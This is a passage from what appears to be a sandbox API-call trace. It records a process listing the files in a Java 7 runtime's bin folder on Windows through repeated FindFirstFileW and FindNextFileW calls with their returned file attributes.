Flags=0x0, Size=0x10000) returned 0x6165c8 [0250.172] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0250.250] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.250] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc25a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1 [0250.250] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 1 [0250.250] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 0 [0250.250] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0250.251] GetProcessHeap () returned 0x550000 [0250.251] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0250.251] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0250.251] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="DT_SOC~1.DLL")) returned 1 [0250.251] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1 [0250.251] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x34fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="FONTMA~1.DLL")) returned 1 [0250.251] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x263a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="FXPLUG~1.DLL")) returned 1 [0250.251] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x26fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1 [0250.252] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="GLIB-L~1.DLL")) returned 1 [0250.252] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7b7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="GSTREA~1.DLL")) returned 1 [0250.252] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x205a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1 [0250.252] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x32ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installer.dll", cAlternateFileName="INSTAL~1.DLL")) returned 1 [0250.252] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1c1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="INSTRU~1.DLL")) returned 1 [0250.252] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1 [0250.252] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1 [0250.252] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1 [0250.252] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="JABSWI~1.EXE")) returned 1 [0250.252] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1 [0250.252] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1 [0250.252] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2a9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0250.252] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaAccessBridge-32.dll", cAlternateFileName="JAVAAC~1.DLL")) returned 1 [0250.253] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javacpl.exe", cAlternateFileName="")) returned 1 [0250.253] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3b3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx-font.dll", cAlternateFileName="JAVAFX~1.DLL")) returned 1 [0250.253] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx-iio.dll", cAlternateFileName="JAVAFX~2.DLL")) returned 1 [0250.253] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2aba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe", cAlternateFileName="")) returned 1 [0250.253] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x409a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.exe", cAlternateFileName="")) returned 1 [0250.253] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="java_crw_demo.dll", cAlternateFileName="JAVA_C~1.DLL")) returned 1 [0250.253] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x37a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jawt.dll", cAlternateFileName="")) returned 1 [0250.253] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JAWTAccessBridge-32.dll", cAlternateFileName="JAWTAC~1.DLL")) returned 1 [0250.468] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JdbcOdbc.dll", cAlternateFileName="")) returned 1 [0250.468] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x283a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jdwp.dll", cAlternateFileName="")) returned 1 [0250.468] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.dll", cAlternateFileName="")) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743d86e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1afa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxmedia.dll", cAlternateFileName="")) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743d86e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743d86e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb579a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxwebkit.dll", cAlternateFileName="JFXWEB~1.DLL")) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jli.dll", cAlternateFileName="")) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x313a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2iexp.dll", cAlternateFileName="")) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2launcher.exe", cAlternateFileName="JP2LAU~1.EXE")) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2native.dll", cAlternateFileName="JP2NAT~1.DLL")) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x29fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jp2ssv.dll", cAlternateFileName="")) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x239a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x16da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpicom.dll", cAlternateFileName="")) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x261a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpiexp.dll", cAlternateFileName="")) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x195a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpinscp.dll", cAlternateFileName="")) returned 1 [0250.469] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: 